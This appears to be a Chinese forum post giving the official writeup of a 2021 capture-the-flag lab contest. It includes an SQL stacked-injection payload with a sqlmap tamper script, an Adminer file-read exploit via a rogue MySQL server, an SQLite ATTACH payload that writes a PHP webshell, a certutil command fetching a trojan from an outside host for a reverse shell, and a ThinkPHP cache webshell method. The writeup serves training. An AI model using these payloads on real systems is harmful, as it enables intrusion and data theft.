9月份擂台赛官方writeup(部分题目有视频讲解)

Track-劲夫   ·   发表于 2021-09-28 22:50:18   ·   技术文章

[部分题目会在9月29日晚上7点进行视频讲解,想听的小伙伴访问这个链接,报名免费的课程就可以(https://ke.qq.com/course/275794?flowToken=1039711)]

签到题#一起下象棋

题目链接:一起下象棋

进行目录扫描,发现目录下存在robots.txt这个文件,直接访问

发现内容被加密,这个是JSFuck的加密

直接将加密的内容复制到控制台就可以获得flag(或者找线上的解码站点也行)

ps:喜欢下棋的小伙伴也可以先赢三把人机,赢了之后你就会发现你赢了三局人机

SQL注入关键字绕过

题目链接:SQL注入关键字绕过

​ 根据聂风老师给出的第二关核心代码,可以看出,这关过滤了select关键字,并且使用了预编译,那么也就意味着我们构造的payload中不能出现select单双引号,后面的问题好解决,用十六进制编码就可以绕过,但是过滤了select的话就得想其他办法来绕过了

​ 如果说这个地方存在堆叠注入,那么我们可以可以采用下面的payload来进行绕过

  1. -- @x=后面的是字符串,那么也就是说我们可以用十六进制进行替换
  2. ;set @x="select sleep(10)";
  3. prepare a from @x;
  4. EXECUTE a;
  5. -- 处理好后的语句也就是这样
  6. ;set @x=0x73656c65637420736c65657028313029;
  7. prepare a from @x;
  8. EXECUTE a;

​ 其实想知道这里是否存在堆叠注入很简单,直接把这个payload放到靶场中运行一下就知道了

​ 如果有小伙伴就是想知道怎么判断这里他是否存在堆叠注入,其实也有办法

​ 我们传参?id=1a,看他是否报错,如下图,他报错了说明了数据没有被强转

​ 然后我们把a改为; 传参?id=1;,它却没有报错,说明;没有被带入查询,而是解析了(;在sql中表示一串sql语句的结束)

​ 那么这时候就很大概率确定它存在堆叠注入,外加上面有说这里用了PDO,PDO在没有经过特殊配置的情况下是可以一次执行多条SQL语句的

​ 那么我们就可以利用上面给出的payload来编写sqlmap的绕过脚本

0xduidie.py

  1. #!/usr/bin/env python
  2. import sys
  3. """
  4. Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
  5. See the file 'LICENSE' for copying permission
  6. """
  7. import string
  8. from lib.core.enums import PRIORITY
  9. __priority__ = PRIORITY.LOWEST
  10. def dependencies():
  11. pass
  12. def tamper(payload, **kwargs):
  13. payload = 'select 1'+payload
  14. payload = payload.encode().hex()
  15. payload = '1;set @x=0x'+payload+';prepare a from @x;EXECUTE a;'
  16. return payload

将绕过脚本放到sqlmap目录下的tamper目录中,然后执行如下命令吗,获取表名

  1. sqlmap.py -u http://vgtres-b924.aqlab.cn/?id=1 -D maoshe --tables --tamper 0xduidie.py

成功跑出表名,flag应该是在flag99这个表中,使用下面的命令直接跑数据

  1. sqlmap.py -u http://vgtres-b924.aqlab.cn/?id=1 -D maoshe -T flag99 --dump --tamper 0xduidie.py

成功获取到flag

B组#拿到webshell权限

题目链接:拿到webshell权限

​ 进到站点里面啥也没有,先进行目录扫描,看看是否可以获取到一些有用的信息

​ 我这里使用的是dirsearch这个目录扫描工具,扫出这个站点存在/adminer/这个路径

我们进行访问,发现存在adminer这个文件,并且爆出了绝对路径,那么我们可以尝试看看有什么办法可以进行利用

这里提供两种办法

第一种:利用adminer的任意文件读取漏洞(需要有公网服务器)

​ 我这里是一台ubuntu的机器

  1. 安装mysql服务

    1. apt-get update
    2. apt-get grade
    3. apt-get install mysql-server
  2. 开启mysql的外联

    1. # 修改下面这个文件
    2. vim /etc/mysql/mysql.conf.d/mysqld.cnf

    将bind-address这行给注释掉,在最前面加个#就好了,或者把127.0.0.1改成0.0.0.0目的是为了让任意地址可以访问,修改好了之后保存退出

重启Mysql服务

  1. systemctl restart mysql.service
  1. 然后下载利用脚本(脚本已放入附件)

    将脚本保存为adminer.py,然后执行如下命令

    1. # 关闭mysql服务,因为adminer.py这个脚本会占用3306端口
    2. systemctl stop mysql.service
    3. chmod 777 adminer.py
    4. # 这个文件执行之后它会在当前目录生成一个mysql.log文件,待会读取的文件内容就在这里面
    5. ./adminer.py

    脚本运行之后,进到靶场的adminer页面,填入服务器的公网地址,然后账号和密码随便填,然后点击登录

    反应如下

  2. 查看mysql.log获取flag

第二种:利用SQlite直接getshell(同学给出的思路,无需公网服务器)

点击系统,选择SQLite3然后直接点击登录,即可登录进管理界面

点击SQL命令,到执行SQL命令的界面

执行下面这条命令,读取index.php文件中的内容

  1. ATTACH DATABASE 'flag111.php' AS test ;create TABLE test.exp (dataz text) ; insert INTO test.exp (dataz) VALUES ('<?php echo file_get_contents("../index.php")?>');

成功获取flag

B组#拿到最高权限

通过上一关的flag,我们获取到了一个shell,下面能要想办法获取管理员权限,然后去找flag

刚开始是想上传一个msf木马上去反弹shell的,但是发现传不上

于是我把利用程序上传到了服务器,然后在webshell中执行下面这命令把利用程序下载到了靶机上

  1. certutil -urlcache -split -f http://xxxx/hack.exe hack.exe

运行木马成功反弹出shell,但是权限不高,于是尝试提权

选好提权脚本,然后运行

搜索flag,然后读取flag文件获取,成功获取flag

A组#最简单的 A 级靶场

代码审计的做法

这题聂风老师在群里给出了靶场 A 的源码以及提示,我们可以现在本地搭建环境进行测试,以及代码审计

  1. 源码下载链接
  2. 链接:https://pan.baidu.com/s/1pBVwSrb34K9y8Rr1gtN8Pg
  3. 提取码:zkaq

提示

  1. Thinkphp缓存拿webshell,在发帖的地方。核心在于计算,要看得懂源码(也有损招,本地搭建的网站缓存文件名和线上相同。因为算法一致。本地发个帖,知道你的贴对应的缓存名,线上也能试出来)

下面进行代码审计

根据缓存关键字发现代码中存在缓存 rm 函数,于是全局搜索 cache 关键词进行代码审计,如下图

发现在更新主题这个功能代码点的这两行代码存在一个缓存文件的删除操作

于是结合代码和文章信息, 将项目代码以及缓存文件放入 sublime 中便于观察。发现下图中两个缓存 php 文件有个动态删除以及生成的动作

多次测试,这两个文件名称没变,于是注意观察一下这两个文件内容

发现我写入的主题内同“哈哈哈哈哈哈”在里面存在,想想文本编辑器也能写入 html 代码,
于是试试看能不能闭合标签写出可执行的 php 代码。

其中第一个文件被拼接到了字符串中,第二个文件却自动换行了,访问第二个试试

有报错产生,看来估计是<br/>后面的语句无法解析出来,试试删除 br 标签再注释掉后面代码试试

经过如上的本地测试,发现 php 代码被成功执行。
接下来需要解决一下不在本地的情况下,怎么获取到服务端项目里面对应缓存的文件名称。
继续代码审计发现该项目中存在大量的 md5 加密。
抱着试试的心态,将上面提到的主题功能模块中有删除新增动作两行代码中的参数进行
md5 编码试试

将上面加密结果与本地文件进行对比,发现一致

于是就使用上述方式,对靶场 A 进行测试

编辑文章,这里要点击箭头指向的位置,进入源代码模式进行编写,写好后发布

拿文章的id去进行加密

复制md5访问文件getshell,注意要区分大小写,并且md5值

http://59.63.200.79:8012/Tmp/cache/md5值.php,成功获取flag

聂风老师提供的另外一种思路

​ 因为加密方式相同,其实可以本地推算,在线上环境中我们帖子的id为95

​ 那么我们可以在本地环境中也发布一个id为95的帖子,并且在里面写上一些特殊的内容,然后利用搜索工具进行内容的搜索

​ 可以利用bp不停的发包将帖子的数量发布到90附近,然后在发布第95个帖子的时候在里面写上一些不容易和别的值重复的内容

​ 然后利用搜索工具进行搜索,这里用的是vc code,搜索出现了两个文件名,我们可以复制这两个文件名去靶场中访问,看看是否存在

​ 访问存在之后,尝试执行命令,看看是否可以执行

用户名金币积分时间理由
奖励系统 50.00 0 2021-09-29 21:09:15 投稿满 5 赞奖励

打赏我,让我更有动力~

Attachment List

adminer.zip   File Size:0.002M (Download Count:4)

3 Reply   |  Until 8个月前 | 1240 View

陈信禄
发表于 10个月前

劲夫好棒,i了i了

评论列表

  • 加载数据中...

编写评论内容

yangroupaomo
发表于 9个月前

牛逼,克拉斯

评论列表

  • 加载数据中...

编写评论内容

云空
发表于 8个月前

劲夫老师—-yyds

评论列表

  • 加载数据中...

编写评论内容
LoginCan Publish Content
返回顶部 投诉反馈

© 2016 - 2022 掌控者 All Rights Reserved.